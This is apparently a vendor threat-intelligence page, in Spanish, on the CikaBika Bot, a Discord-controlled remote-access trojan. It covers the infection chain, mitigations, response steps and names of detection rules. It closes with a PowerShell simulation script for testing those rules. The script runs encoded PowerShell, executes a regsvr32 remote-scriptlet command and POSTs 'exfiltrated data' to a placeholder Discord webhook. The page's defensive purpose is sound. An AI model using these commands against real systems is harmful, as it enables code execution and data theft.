Análisis del Bot CikaBika: Cómo Opera el RAT de Discord
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
CikaBika Bot es un troyano de acceso remoto basado en Rust distribuido a través de señuelos de phishing, como archivos LNK maliciosos y documentos PDF. El malware utiliza un cargador basado en Nim para activar un bypass de UAC de PowerShell y realizar un secuestro del orden de búsqueda de DLL contra Microsoft Edge. Se basa en Discord como plataforma de comando y control para gestionar sistemas infectados y ejecutar una serie de comandos maliciosos.
Investigación
Investigadores de Darktrace analizaron la cadena de infección comenzando con una imagen de disco que contiene un acceso directo malicioso y un PDF señuelo. La investigación rastreó la carga útil desde un archivo de texto temporal hasta una DLL secuestrada colocada en el directorio de la aplicación de Microsoft Edge. Los investigadores también observaron que el RAT utilizaba Discord para el reconocimiento y aprovechaba ngrok para la exfiltración de datos.
Mitigación
Las organizaciones deben imponer controles estrictos sobre la ejecución de archivos LNK e imágenes de disco obtenidas de fuentes no confiables. Reforzar las configuraciones de Control de Cuentas de Usuario (UAC) y monitorear cambios no autorizados en el registro que involucren comandos de shell de HKLM/HKCU pueden ayudar a prevenir intentos de bypass. Los equipos de seguridad también deben observar procesos secundarios inusuales de Microsoft Edge y el uso no autorizado de Discord o ngrok.
Respuesta
Cuando se detecta actividad del CikaBika Bot, aísle los endpoints afectados de la red para interrumpir el canal C2 de Discord. Realice un análisis forense del %TEMP% directorio y las rutas de instalación de Microsoft Edge para identificar el dbghelp.dllmalicioso. Revise la telemetría de red para conexiones sospechosas que involucren ipify.com o ngrok para evaluar el posible alcance de la exfiltración de datos.
Flujo de Ataque
Todavía estamos actualizando esta parte.
Detecciones
Archivo LNK Malicioso Posible con Doble Extensión (a través de cmdline)
Llamada a Clases/Métodos .NET Sospechosos desde la Línea de Comando de PowerShell (a través de creation de procesos)
Uso Sospechoso de CURL (a través de cmdline)
Llamada a Métodos .NET Sospechosos desde PowerShell (a través de powershell)
Llamada a Funciones de API de Windows Sospechosas desde PowerShell (a través de powershell)
Posibles Indicadores de Ofuscación de PowerShell (a través de powershell)
Servicio de Túnel de Puertos Posible (a través de dns)
IOCs (HashMd5) para detectar: CikaBika Bot: Dentro de un RAT de Discord
PowerShell y Regsvr32 Ejecutados para Exfiltración de Datos a través de Discord [Windows Powershell]
Ejecución de Carga Útil RAT Decodificada y Reconocimiento de Procesos [Creación de Procesos de Windows]
Ejecución de Simulación
-
Narrativa del Ataque y Comandos: El adversario ha obtenido acceso inicial. Para evitar la detección, intenta ejecutar una carga útil mediante un comando de PowerShell codificado. La cadena del comando incluye un comentario ficticio «bypass de UAC de PowerShell» para activar la lógica de regla específica. Después de esto, el adversario intenta usar
regsvr32.exepara ejecutar un scriptlet remoto (simulado a través de un archivo local para evitar ruido en la red durante las pruebas). Finalmente, el adversario simula la exfiltración de datos enviando una solicitud POST ficticia a una URL de webhook de Discord vía PowerShell. -
Script de Prueba de Regresión:
# Script de Simulación: Imitando la Exfiltración en Discord al estilo Cikabika Write-Host "[+] Iniciando Simulación..." # 1. Simular la condición 'selection_uac_bypass' y 'selection_powershell_encoded' # El comando incluye la cadena literal 'bypass de UAC de PowerShell' y usa '-enc' $command = "Write-Output 'Payload Malicioso'; # bypass de UAC de PowerShell" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) Write-Host "[+] Ejecutando PowerShell Codificado con Cadena de Bypass..." powershell.exe -enc $encodedCommand # 2. Simular 'selection_regsvr32' # Esto activa la segunda mitad de la condición 'AND' en la regla Write-Host "[+] Ejecutando Regsvr32..." regsvr32.exe /s /i:http://localhost/dummy.sct scrobj.dll # 3. Simular 'selection_discord_exfil' # Esto proporciona un camino alternativo para la segunda mitad de la condición 'AND' Write-Host "[+] Simulando Exfiltración en Discord..." $discordWebhook = "https://discord.com/api/webhooks/test/12345" powershell.exe -Command "Invoke-RestMethod -Uri '$discordWebhook' -Method Post -Body '{"content": "Exfiltrated Data"}'" Write-Host "[+] Simulación Completa." -
Comandos de Limpieza:
# Limpieza: Eliminar cualquier archivo temporal creado durante la simulación (si lo hay). # En esta simulación específica, no se escribió ningún archivo en el disco, # pero aseguramos que el árbol de procesos esté limpio. Stop-Process -Name "powershell" -ErrorAction SilentlyContinue Write-Host "[+] Limpieza Completa."